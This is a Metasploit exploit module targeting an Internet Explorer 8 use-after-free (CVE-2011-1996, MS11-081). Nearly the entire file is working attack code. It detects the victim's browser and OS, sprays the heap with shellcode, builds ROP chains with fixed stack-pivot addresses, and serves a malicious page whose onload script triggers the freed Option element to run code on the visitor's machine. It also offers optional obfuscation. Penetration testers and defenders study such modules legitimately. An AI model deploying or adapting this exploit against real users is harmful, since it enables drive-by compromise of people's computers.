Microsoft Internet Explorer - Option Element Use-After-Free (MS11-081) (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RopDb


	def initialize(info={})
		super(update_info(info,
			'Name'           => "Microsoft Internet Explorer Option Element Use-After-Free",
			'Description'    => %q{
					This module exploits a vulnerability in Microsoft Internet Explorer.  A memory
				corruption may occur when the Option cache isn't updated properly, which allows
				other JavaScript methods to access a deleted Option element, and results in code
				execution under the context of the user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Ivan Fratric',  #Initial discovery
					'juan vazquez',  #Metasploit
					'sinn3r'         #Metasploit
				],
			'References'     =>
				[
					[ 'CVE', '2011-1996' ],
					[ 'MSB', 'MS11-081' ],
					[ 'URL', 'http://ifsec.blogspot.com/2011/10/internet-explorer-option-element-remote.html' ],
					[ 'URL', 'http://pastebin.com/YLH725Aj' ]
				],
			'Payload'        =>
				{
					'StackAdjustment' => -3500,
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ],
					[ 'IE 8 on Windows Vista',  { 'Rop' => :jre,    'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ],
					[ 'IE 8 on Windows 7',      { 'Rop' => :jre,    'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Oct 11 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class)

	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

		ie_name = "IE #{ie}"

		case nt
		when '5.1'
			os_name = 'Windows XP SP3'
		when '6.0'
			os_name = 'Windows Vista'
		when '6.1'
			os_name = 'Windows 7'
		end

		targets.each do |t|
			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
				print_status("Target selected as: #{t.name}")
				return t
			end
		end

		return nil
	end

	def ie_heap_spray(my_target, p)
		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
		js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

		js = %Q|
		function heap_spray() {
			var heap_obj = new heapLib.ie(0x20000);
			var code = unescape("#{js_code}");
			var nops = unescape("#{js_nops}");
			while (nops.length < 0x80000) nops += nops;
			var offset = nops.substring(0, #{my_target['Offset']});
			var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
			while (shellcode.length < 0x40000) shellcode += shellcode;
			var block = shellcode.substring(0, (0x80000-6)/2);
			heap_obj.gc();
			for (var i=1; i < 0x300; i++) {
				heap_obj.alloc(block);
			}
			var overflow = nops.substring(0, 10);
		}
		|

		js = heaplib(js, {:noobfu => true})

		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
			@heap_spray_func = js.sym("heap_spray")
		end

		return js
	end

	def get_payload(t, cli)
		code = payload.encoded

		# No rop. Just return the payload.
		return code if t['Rop'].nil?

		# Both ROP chains generated by mona.py - See corelan.be
		case t['Rop']
		when :msvcrt
			print_status("Using msvcrt ROP")
			rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
			rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length)
			rop_payload << "\xeb\x04" # jmp $+6
			rop_payload << [0x77c15ed5].pack("V") # 0x0c0c0c0 # stackpivot => xchg eax, esp # ret
			rop_payload << code
		else
			print_status("Using JRE ROP")
			rop_payload = generate_rop_payload('java', '')
			rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length)
			rop_payload << "\xeb\x08" # jmp $+10
			rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret
			rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret
			rop_payload << code
		end

		return rop_payload
	end

	def load_exploit_html(my_target, cli)
		@heap_spray_func = "heap_spray"
		p  = get_payload(my_target, cli)
		js = ie_heap_spray(my_target, p)


		#var fakeobj = unescape("%u0c0c%u0c0c");
		#call to 0c0c0c0c
		#eax ==> 0c0c0a14
		html = %Q|
		<!DOCTYPE html>
		<html>
		<head>
		<script>
		#{js}

		function ivan()
		{

			var fakeobj = unescape("%u0a14%u0c0c");
			fakeobj += unescape("%u4141%u4141");
			while (fakeobj.length <= 0x38/2) fakeobj += unescape("%u4141%u4141");

			var formobj, selobj, optobj;
			selobj = document.getElementById("select1");
			formobj = selobj.form;

			var imgarray = new Array();
			for(var j = 0; j < 500; j++) {
				imgarray.push(document.createElement("img"));
			}

			for(var i=0;i<5;i++) {
				optobj = document.createElement('option');
				optobj.text = "test";
				selobj.add(optobj);
			}

			selobj.innerText = "foo";

			for(var i = 0; i < imgarray.length; i++) {
				imgarray[i].title = fakeobj.substring(0, 0x38 / 2 - 1);
			}

			#{@heap_spray_func}();

			formobj.reset();
		}

		</script>
		</head>

		<body onload='ivan()'>
		<form method="post">
		<select id="select1">
		</select>
		</form>
		</body>
		</html>
		|

		return html
	end

	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']
		uri   = request.uri
		print_status("Requesting: #{uri}")

		my_target = get_target(agent)
		# Avoid the attack if no suitable target found
		if my_target.nil?
			print_error("Browser not supported, sending 404: #{agent}")
			send_not_found(cli)
			return
		end

		html = load_exploit_html(my_target, cli)
		html = html.gsub(/^\t\t/, '')
		print_status("Sending HTML...")
		send_response(cli, html, {'Content-Type'=>'text/html'})
	end
end